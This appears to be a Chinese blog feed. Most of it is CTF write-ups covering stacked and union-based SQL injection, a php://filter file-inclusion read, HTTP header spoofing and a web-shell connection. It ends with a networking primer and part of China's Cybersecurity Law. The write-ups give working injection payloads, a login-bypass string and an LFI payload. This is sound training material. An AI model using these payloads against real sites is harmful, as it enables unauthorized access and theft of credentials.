&lt;p&gt;输入非0数字的时候会有一个回显&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/39db05c13f-image-20240123205526023.png&quot; alt=&quot;image-20240123205526023&quot; /&gt;&lt;/p&gt;
&lt;p&gt;输入大小写字母的时候没有回显&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/b1e1679e02-image-20240123210601484.png&quot; alt=&quot;image-20240123210601484&quot; /&gt;&lt;/p&gt;
&lt;p&gt;判断是什么闭合 ：输入1#能输出，而输入 1&apos; 和1&apos;#没有输出，&quot;被过滤掉,大致上可以按照数字型进行猜测。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/42cc35a66e-image-20240123210908490.png&quot; alt=&quot;image-20240123210908490&quot; /&gt;&lt;/p&gt;
&lt;p&gt;输入特殊字符也没有报错回显，所以报错注入基本上没戏了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/6cefbc6f04-image-20240123210954006.png&quot; alt=&quot;image-20240123210954006&quot; /&gt;&lt;/p&gt;
&lt;p&gt;输入很多关于&lt;a href=&quot;https://so.csdn.net/so/search?q=sql%E8%AF%AD%E5%8F%A5&amp;amp;spm=1001.2101.3001.7020&quot;&gt;sql语句&lt;/a&gt;的东西(and,or,union,if,order from)都会显示Nonono，所以联合查询也没戏&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/9862b2b286-image-20240123211059117.png&quot; alt=&quot;image-20240123211059117&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/547aacdc3e-image-20240123211031373.png&quot; alt=&quot;image-20240123211031373&quot; /&gt;&lt;/p&gt;
&lt;p&gt;再尝试时间盲注 ,sleep也被ban了，时间盲注也不行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/31591253ea-image-20240123211137118.png&quot; alt=&quot;image-20240123211137118&quot; /&gt;&lt;/p&gt;
&lt;p&gt;再尝试布尔盲注,因为if、and也被ban，所以布尔盲注也基本上没戏&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1 and length(database())&amp;gt;=1 -- +
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/ee449efd78-image-20240123211621857.png&quot; alt=&quot;image-20240123211621857&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后看看堆叠注入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1;show tables -- +

1;show databases -- +
 
#因为from被ban了，所以无法使用show columns from 表名
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/a2fa193f6e-image-20240123211744042.png&quot; alt=&quot;image-20240123211744042&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/378a3d343d-image-20240123211950528.png&quot; alt=&quot;image-20240123211950528&quot; /&gt;&lt;/p&gt;
&lt;p&gt;堆叠能够使用，但是因为过滤了from，handler（类似于select），所以能够查找的信息也很有限&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/2e8384ea74-image-20240123213042096.png&quot; alt=&quot;image-20240123213042096&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/58ca6be3b1-image-20240123213108901.png&quot; alt=&quot;image-20240123213108901&quot; /&gt;&lt;/p&gt;
&lt;p&gt;至此sql注入绝大部分方法都不行了&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;知识点：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;我们知道默认情况下在MySQL中 || 运算符是逻辑或运算符（即or），但取决于PIPES_AS_CONCAT SQL模式。如果启用了set sql_mode=pipes_as_concat模式，则 || 运算符用作字符串连接，这和Oracle数据库是一样的，即用作CONCAT()函数的同义词。
插入：concat可以连接多个字符串如concat(&apos;id&apos;,&apos;name&apos;,&apos;,&apos;user&apos;)等。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;例子：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/6e2e73d923-image-20240123215011014.png&quot; alt=&quot;image-20240123215011014&quot; style=&quot;zoom: 33%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/e16bdaaf4c-image-20240123214929862.png&quot; alt=&quot;image-20240123214929862&quot; style=&quot;zoom: 33%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/e31f9ef108-image-20240123215052802.png&quot; alt=&quot;image-20240123215052802&quot; style=&quot;zoom:33%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/1b25f06eba-image-20240123215103837.png&quot; alt=&quot;image-20240123215103837&quot; style=&quot;zoom: 33%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;输入非零数字得到结果一直是1和而输入其余字符的数据就得不到回显=&amp;gt;来判断出内部的查询语句可能存在有||（即or：或运算）。&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;他的后端既然能做到数字回显字母不回显，说明有一个 或 结构，而且不直接回显flag，但作为一道题目，from一定是from flag。

那么内置语句就可以猜测为：

sql=&quot;select post[&apos;query&apos;] || flag from flag&quot;;

上面只是个猜测啊。。。
可能不是flag是Flag,也可能from 别的地方。

但假设是这样的结构我们做一下。||是肯定有的。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;原理：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cnblogs.com/micrari/p/6358652.html&quot;&gt;MySQL中字符串与数字比较的坑&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/leo3070/article/details/118670591&quot;&gt;mysql之字符串进行运算或大小比较 &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;方法一：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;*，1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/fa462b0544-image-20240123215931274.png&quot; alt=&quot;image-20240123215931274&quot; /&gt;&lt;/p&gt;
&lt;p&gt;等同于&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select *，1 || flag from flag

根据之前的例子可以知道 1 || flag -&amp;gt;1 这是一个短路语句

select *,1 from flag

这个语句将返回 flag 表中的所有数据，同时在每一行的结果中添加一个常量列，其值为 1，因此这里的 1 可以换成其他数字，但不能是字母或其他符号，这样的查询会将表中的每一列都包含在结果集中，以及一个额外的常量列。

如果 flag 表有三列（例如：column1、column2、column3），那么执行这个查询会返回包含这三列以及额外的 1 列的结果集。例如：

+---------+---------+---------+---+
| column1 | column2 | column3 | 1 |
+---------+---------+---------+---+
|   ...   |   ...   |   ...   | 1 |
+---------+---------+---------+---+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;方法二：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/d1a32f5ed6-image-20240123223026950.png&quot; alt=&quot;image-20240123223026950&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1;set sql_mode=pipes_as_concat;select 1

根据之前的例子可以知道sql_mode=pipes_as_concat就是把 || 设置成了 concat 函数，可以将 || 运算符用作字符串连接

select 1;set sql_mode=pipes_as_concat;select 1 || flag from flag

但是要注意分号隔断了前面的命令，所以要再次添加select!!

因此等同于

select 1;select concat(1,flag) from flag

select 1只会返回一个常量1【Array ( [0] =&amp;gt; 1 )】，最主要的是后面的select concat(1,flag) from flag会将常量1和字段flag的值连接返回【Array ( [0] =&amp;gt; 1flag{0a333f61-edc2-43df-b2c1-8fe80a1d41ae} ) 】
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;9、[极客大挑战 2019]Secret File&lt;/h3&gt;
&lt;p&gt;https://blog.csdn.net/qq_45766004/article/details/114947589&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/d52f466e82-image-20240124185659653.png&quot; alt=&quot;image-20240124185659653&quot; /&gt;&lt;/p&gt;
&lt;p&gt;分析：&lt;/p&gt;
&lt;p&gt;没什么可以点击的先查看源代码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/692f2a9579-image-20240124185815331.png&quot; alt=&quot;image-20240124185815331&quot; /&gt;&lt;/p&gt;
&lt;p&gt;找到一个叫Archive_room.php的文件，点进去看看&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/8c6fe128fb-image-20240124185857352.png&quot; alt=&quot;image-20240124185857352&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发现有一个可以点击的SECRET，点击看看&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/5b8fb77bce-image-20240124185938242.png&quot; alt=&quot;image-20240124185938242&quot; /&gt;&lt;/p&gt;
&lt;p&gt;什么都没有，查看源代码看看&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/51a02ed3bd-image-20240124185955588.png&quot; alt=&quot;image-20240124185955588&quot; /&gt;&lt;/p&gt;
&lt;p&gt;依旧没有得到什么有用的信息，返回到之前的SECRET，既然它可以点击，那我们就点击抓包看看&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/a8f597ee86-image-20240124190157515.png&quot; alt=&quot;image-20240124190157515&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以发现这里存在一个被注释的文件secr3t.php&lt;/p&gt;
&lt;p&gt;我们访问看看&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/98d1c7d694-image-20240124190235726.png&quot; alt=&quot;image-20240124190235726&quot; /&gt;&lt;/p&gt;
&lt;p&gt;代码审计后发现应该是需要?file=flag.php的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/9e7a7305a0-image-20240124190628407.png&quot; alt=&quot;image-20240124190628407&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是什么都没有发现，所以我推测这里是需要使用跟之前的[ACTF2020 新生赛]Include一样的文件包含漏洞才能显示处理flag&lt;/p&gt;
&lt;p&gt;?file=php://filter/convert.base64-encode/resource=flag.php&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/4888c0d505-image-20240124190815913.png&quot; alt=&quot;image-20240124190815913&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里它利用了&lt;a href=&quot;https://blog.csdn.net/gental_z/article/details/122303393&quot;&gt;filter伪协议&lt;/a&gt;，该协议刚好就能够查看文件包含的漏洞，所以当我们利用该协议查看flag.php时，会将它的源代码爆出来，但是因为base64的加密原因，所以我们还需要进行一次base64解密，现在进行解密行为&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/3aca5eb014-image-20240124191004484.png&quot; alt=&quot;image-20240124191004484&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h3&gt;10、[极客大挑战 2019]LoveSQL&lt;/h3&gt;
&lt;p&gt;https://blog.csdn.net/satasun/article/details/106246493&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/84f46a2496-image-20240124193018360.png&quot; alt=&quot;image-20240124193018360&quot; /&gt;&lt;/p&gt;
&lt;p&gt;熟悉的界面，不过这次有点不太一样&lt;/p&gt;
&lt;p&gt;判断闭合类型为单引号&lt;/p&gt;
&lt;p&gt;依旧是先使用万能密码登入&lt;code&gt;1&apos; or true #&lt;/code&gt;密码任意&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/174c7eb390-image-20240124193249340.png&quot; alt=&quot;image-20240124193249340&quot; /&gt;&lt;/p&gt;
&lt;p&gt;登陆成功，看了一下url，是以get方式进行传参。先在username处测试一下有没有注入点：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?username=1&apos; order by 1%23&amp;amp;password=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/17ba2fe98c-image-20240124194108777.png&quot; alt=&quot;image-20240124194108777&quot; /&gt;&lt;/p&gt;
&lt;p&gt;没有报错，只是说账号密码错误。直到&lt;code&gt;order by 4&lt;/code&gt;的时候，报错了(后面的%23是#用来注释掉后面的内容的不能删)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?username=1&apos; order by 4%23&amp;amp;password=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/a965e16361-image-20240124194126800.png&quot; alt=&quot;image-20240124194126800&quot; /&gt;&lt;/p&gt;
&lt;p&gt;判断出有三个字段，接下来开始寻找注入点&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?username=-1&apos; union select 1,2,3%23&amp;amp;password=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/7ba11e9669-image-20240124194018662.png&quot; alt=&quot;image-20240124194018662&quot; /&gt;&lt;/p&gt;
&lt;p&gt;很明显，2和3都是注入点，而且没有过滤，接下来直接写命令了，查询数据库名&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?username=-1&apos; union select 1,database(),3%23&amp;amp;password=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/48738f788c-image-20240124194236576.png&quot; alt=&quot;image-20240124194236576&quot; /&gt;&lt;/p&gt;
&lt;p&gt;数据库名：geek&lt;/p&gt;
&lt;p&gt;接下来查询数据表名&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?username=-1&apos; union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=&apos;geek&apos;%23&amp;amp;password=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/dbfdbe9488-image-20240124194757638.png&quot; alt=&quot;image-20240124194757638&quot; /&gt;&lt;/p&gt;
&lt;p&gt;数据表名：geekuser，l0ve1ysq1&lt;/p&gt;
&lt;p&gt;geekuser这张表感觉并没有存储账号密码的信息，所以我们看l0ve1ysq1&lt;/p&gt;
&lt;p&gt;接下来查询l0ve1ysq1这张表的字段名&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?username=-1&apos; union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=&apos;geek&apos; and table_name=&apos;l0ve1ysq1&apos;%23&amp;amp;password=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/49964fadc5-image-20240124195121231.png&quot; alt=&quot;image-20240124195121231&quot; /&gt;&lt;/p&gt;
&lt;p&gt;字段名：id，username，password&lt;/p&gt;
&lt;p&gt;查询username和password字段的数据信息，这里同时查询两个字段信息，所以把3这个回显点也用上&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?username=-1&apos; union select 1,group_concat(username),group_concat(password) from l0ve1ysq1 %23&amp;amp;password=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/0a0416f18e-image-20240124195535366.png&quot; alt=&quot;image-20240124195535366&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以发现页面信息重叠了，直接查看页面源代码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/752713032c-image-20240124195628862.png&quot; alt=&quot;image-20240124195628862&quot; /&gt;&lt;/p&gt;
&lt;p&gt;找到flag&lt;/p&gt;
&lt;h3&gt;11、[极客大挑战 2019]Http&lt;/h3&gt;
&lt;p&gt;https://blog.csdn.net/qq_53460654/article/details/116162207&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/ef3a11afea-image-20240124195853066.png&quot; alt=&quot;image-20240124195853066&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;看完整个页面后也没发现什么可以点击的地方，直接查看源代码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/27d8db1f23-image-20240124201435013.png&quot; alt=&quot;image-20240124201435013&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发现一个Secret.php文件，查看一下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/d09bf0753e-image-20240124201523981.png&quot; alt=&quot;image-20240124201523981&quot; /&gt;&lt;/p&gt;
&lt;p&gt;它需要我们从https://www.Sycsecret.com来访问它
所以要进行伪造来绕过了
所以bp抓包发送给重发器进行伪造
那怎么伪造网址访问呢&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;知识点：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;请求数据包&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/fe56d4fb2d-1.png&quot; alt=&quot;1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/7e298ad5c1-image-20240124201819401.png&quot; alt=&quot;image-20240124201819401&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以发现在请求数据包中的请求头中的Referer可以用来伪造访问地址&lt;/p&gt;
&lt;p&gt;因此我们抓包，添加输入(这里需要注意这玩意需要放在请求头里面也就是稍微放前面一点)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Referer:https://Sycsecret.buuoj.cn
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/9fcbe84add-image-20240124202530451.png&quot; alt=&quot;image-20240124202530451&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/456ba3fb26-image-20240124202635639.png&quot; alt=&quot;image-20240124202635639&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后它又说要用Syclover browser
所以又要伪造浏览器
所以这里修改User-Agent&lt;/p&gt;
&lt;p&gt;这里有个比较坑的点就是更改或添加新的请求头参数时需要把之前的添加重新输入进去&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;User-Agent:Syclover
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/88d2beb4ed-image-20240124203111802.png&quot; alt=&quot;image-20240124203111802&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/ecfec185fa-image-20240124202906694.png&quot; alt=&quot;image-20240124202906694&quot; /&gt;&lt;/p&gt;
&lt;p&gt;它有提示你说只需要本地ip链接就行了
所以又要伪造ip了
X-Forwarded-For:用于修改ip
所以只需要改为本地ip(127.0.0.1)即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;X-Forwarded-For:127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/05ad52dc47-image-20240124203329437.png&quot; alt=&quot;image-20240124203329437&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/2a55f09a8c-image-20240124203440519.png&quot; alt=&quot;image-20240124203440519&quot; /&gt;&lt;/p&gt;
&lt;p&gt;成功得到flag&lt;/p&gt;
&lt;p&gt;总结，在请求数据包中添加三个请求头参数即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Referer:https://Sycsecret.buuoj.cn
User-Agent:Syclover
X-Forwarded-For:127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;12、[极客大挑战 2019]Knife&lt;/h3&gt;
&lt;p&gt;https://blog.csdn.net/weixin_44632787/article/details/117988176&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/055446651b-image-20240124204210793.png&quot; alt=&quot;image-20240124204210793&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里事实上提示我们使用菜刀连接，密码为Syc，但是蚁剑会比较好用，所以这里我们使用蚁剑来连接&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/b23a82c05f-image-20240124204524896.png&quot; alt=&quot;image-20240124204524896&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/8fc2175c1a-image-20240124204710408.png&quot; alt=&quot;image-20240124204710408&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;点击最左上角根目录-&amp;gt;文件列表划到最后即可看见flag文件&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/09d9b79dbc-image-20240124205109421.png&quot; alt=&quot;image-20240124205109421&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/ctf-question-types/1a2d246be0-image-20240124205141641.png&quot; alt=&quot;image-20240124205141641&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>网络通信安全基础</title><link>https://wangyi187.top/posts/network-comms-basics/</link><guid isPermaLink="true">https://wangyi187.top/posts/network-comms-basics/</guid><description>0x01 网络通信安全基础 通信基础、路由技术、交换技术、安全设备 计算机网络：将不同节点用户之间的通信进行关联，数据传输和资源共享 网络的分类 通信：数据的发送和接收的过程（寄快</description><pubDate>Sun, 24 Dec 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;0x01 网络通信安全基础&lt;/h1&gt;
&lt;hr /&gt;
&lt;p&gt;通信基础、路由技术、交换技术、安全设备&lt;/p&gt;
&lt;p&gt;计算机网络：将不同节点用户之间的通信进行关联，数据传输和资源共享&lt;/p&gt;
&lt;h3&gt;网络的分类&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;局域网（LAN）:范围最小的网络	宿舍、机房、部门	---内网

城域网（MAN）：城市与城市之间的网络 ISP 网络服务提供商（移动、联通、电信）	---公网

广域网（WAN）：最大网络， Internet ---公网
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通信：数据的发送和接收的过程（寄快递），通信的过程是双向&lt;/p&gt;
&lt;p&gt;发送数据的时候，一定要有收发方的信息&lt;/p&gt;
&lt;p&gt;发送方：&lt;strong&gt;源IP地址&lt;/strong&gt;、源MAC地址&lt;/p&gt;
&lt;p&gt;接收方：&lt;strong&gt;目的IP地址&lt;/strong&gt;、目的MAC地址&lt;/p&gt;
&lt;p&gt;进制的分类&lt;/p&gt;
</content:encoded></item><item><title>中华人民共和国网络安全法笔记</title><link>https://wangyi187.top/posts/web-01-cybersecurity-law/</link><guid isPermaLink="true">https://wangyi187.top/posts/web-01-cybersecurity-law/</guid><description>0x01 中华人民共和国网络安全法 ​ 2016年11月7日第十二届全国人民代表大会常务委员会第二十四次会议通过 ​ 目录 第一章 总则 第二章 网络安全支持与促进 第三章 网络运</description><pubDate>Sun, 24 Dec 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;0x01 中华人民共和国网络安全法&lt;/h1&gt;
&lt;hr /&gt;
&lt;p&gt;​                           &lt;strong&gt;(2016年11月7日第十二届全国人民代表大会常务委员会第二十四次会议通过)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​&lt;/p&gt;
&lt;h2&gt;目录&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;第一章	总则

第二章	网络安全支持与促进

第三章	网络运行安全

​	第一节	一般规定

​	第二节	关键信息基础设施的运行安全

第四章	网络信息安全

第五章	监测预警与应急处置

第六章	法律责任

第七章	附则
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;第一章 总则&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;第一条　为了保障网络安全，维护网络空间主权和国家安全、社会公共利益，保护公民、法人和其他组织的合法权益，促进经济社会信息化健康发展，制定本法。

第二条　在中华人民共和国境内建设、运营、维护和使用网络，以及网络安全的监督管理，适用本法。

第三条　国家坚持网络安全与信息化发展并重，遵循积极利用、科学发展、依法管理、确保安全的方针，推进网络基础设施建设和互联互通，鼓励网络技术创新和应用，支持培养网络安全人才，建立健全网络安全保障体系，提高网络安全保护能力。

第四条　国家制定并不断完善网络安全战略，明确保障网络安全的基本要求和主要目标，提出重点领域的网络安全政策、工作任务和措施。

第五条　国家采取措施，监测、防御、处置来源于中华人民共和国境内外的网络安全风险和威胁，保护关键信息基础设施免受攻击、侵入、干扰和破坏，依法惩治网络违法犯罪活动，维护网络空间安全和秩序。

第六条　国家倡导诚实守信、健康文明的网络行为，推动传播社会主义核心价值观，采取措施提高全社会的网络安全意识和水平，形成全社会共同参与促进网络安全的良好环境。

第七条　国家积极开展网络空间治理、网络技术研发和标准制定、打击网络违法犯罪等方面的国际交流与合作，推动构建和平、安全、开放、合作的网络空间，建立多边、民主、透明的网络治理体系。

第八条　国家网信部门负责统筹协调网络安全工作和相关监督管理工作。国务院电信主管部门、公安部门和其他有关机关依照本法和有关法律、行政法规的规定，在各自职责范围内负责网络安全保护和监督管理工作。

县级以上地方人民政府有关部门的网络安全保护和监督管理职责，按照国家有关规定确定。

第九条　网络运营者开展经营和服务活动，必须遵守法律、行政法规，尊重社会公德，遵守商业道德，诚实信用，履行网络安全保护义务，接受政府和社会的监督，承担社会责任。

第十条　建设、运营网络或者通过网络提供服务，应当依照法律、行政法规的规定和国家标准的强制性要求，采取技术措施和其他必要措施，保障网络安全、稳定运行，有效应对网络安全事件，防范网络违法犯罪活动，维护网络数据的完整性、保密性和可用性。

第十一条　网络相关行业组织按照章程，加强行业自律，制定网络安全行为规范，指导会员加强网络安全保护，提高网络安全保护水平，促进行业健康发展。

第十二条　国家保护公民、法人和其他组织依法使用网络的权利，促进网络接入普及，提升网络服务水平，为社会提供安全、便利的网络服务，保障网络信息依法有序自由流动。

任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得危害网络安全，不得利用网络从事危害国家安全、荣誉和利益，煽动颠覆国家政权、推翻社会主义制度，煽动分裂国家、破坏国家统一，宣扬恐怖主义、极端主义，宣扬民族仇恨、民族歧视，传播暴力、淫秽色情信息，编造、传播虚假信息扰乱经济秩序和社会秩序，以及侵害他人名誉、隐私、知识产权和其他合法权益等活动。

第十三条　国家支持研究开发有利于未成年人健康成长的网络产品和服务，依法惩治利用网络从事危害未成年人身心健康的活动，为未成年人提供安全、健康的网络环境。

第十四条　任何个人和组织有权对危害网络安全的行为向网信、电信、公安等部门举报。收到举报的部门应当及时依法作出处理；不属于本部门职责的，应当及时移送有权处理的部门。

有关部门应当对举报人的相关信息予以保密，保护举报人的合法权益。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;第二章 网络安全支持与促进&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;第十五条　国家建立和完善网络安全标准体系。国务院标准化行政主管部门和国务院其他有关部门根据各自的职责，组织制定并适时修订有关网络安全管理以及网络产品、服务和运行安全的国家标准、行业标准。

国家支持企业、研究机构、高等学校、网络相关行业组织参与网络安全国家标准、行业标准的制定。

第十六条　国务院和省、自治区、直辖市人民政府应当统筹规划，加大投入，扶持重点网络安全技术产业和项目，支持网络安全技术的研究开发和应用，推广安全可信的网络产品和服务，保护网络技术知识产权，支持企业、研究机构和高等学校等参与国家网络安全技术创新项目。

第十七条　国家推进网络安全社会化服务体系建设，鼓励有关企业、机构开展网络安全认证、检测和风险评估等安全服务。

第十八条　国家鼓励开发网络数据安全保护和利用技术，促进公共数据资源开放，推动技术创新和经济社会发展。

国家支持创新网络安全管理方式，运用网络新技术，提升网络安全保护水平。

第十九条　各级人民政府及其有关部门应当组织开展经常性的网络安全宣传教育，并指导、督促有关单位做好网络安全宣传教育工作。

大众传播媒介应当有针对性地面向社会进行网络安全宣传教育。

第二十条　国家支持企业和高等学校、职业学校等教育培训机构开展网络安全相关教育与培训，采取多种方式培养网络安全人才，促进网络安全人才交流。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;第三章 网络运行安全&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;第一节　一般规定

